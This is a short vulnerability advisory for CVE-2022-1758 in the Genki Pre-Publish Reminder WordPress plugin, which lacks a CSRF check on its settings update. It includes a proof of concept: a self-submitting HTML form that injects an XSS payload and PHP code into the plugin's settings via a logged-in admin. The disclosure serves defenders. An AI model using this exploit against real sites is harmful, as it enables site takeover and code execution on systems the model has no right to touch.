Genki Pre-Publish Reminder <= 1.4.1 – Stored XSS & RCE via CSRF | CVE 2022-1758

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack and lead to Stored XSS as well as RCE when custom code is added via the plugin settings.

Proof of Concept

<form id="test" action="https://example.com/wp-admin/options-general.php?page=genki-pre-publish-reminder/genki_pre_publish_reminder.php" method="POST">
    <input type="text" name="location" value="1">
    <input type="text" name="bordercolor" value="#e6db55">
    <input type="text" name="bgcolor" value="#ffffe0">
    <textarea name="list">
<img src=x onerror=alert(1)>
<?php echo "hacked"; ?>
</textarea>
    <input type="text" name="update_message" value="Save Changes">
</form>
<script>
    document.getElementById("test").submit();
</script>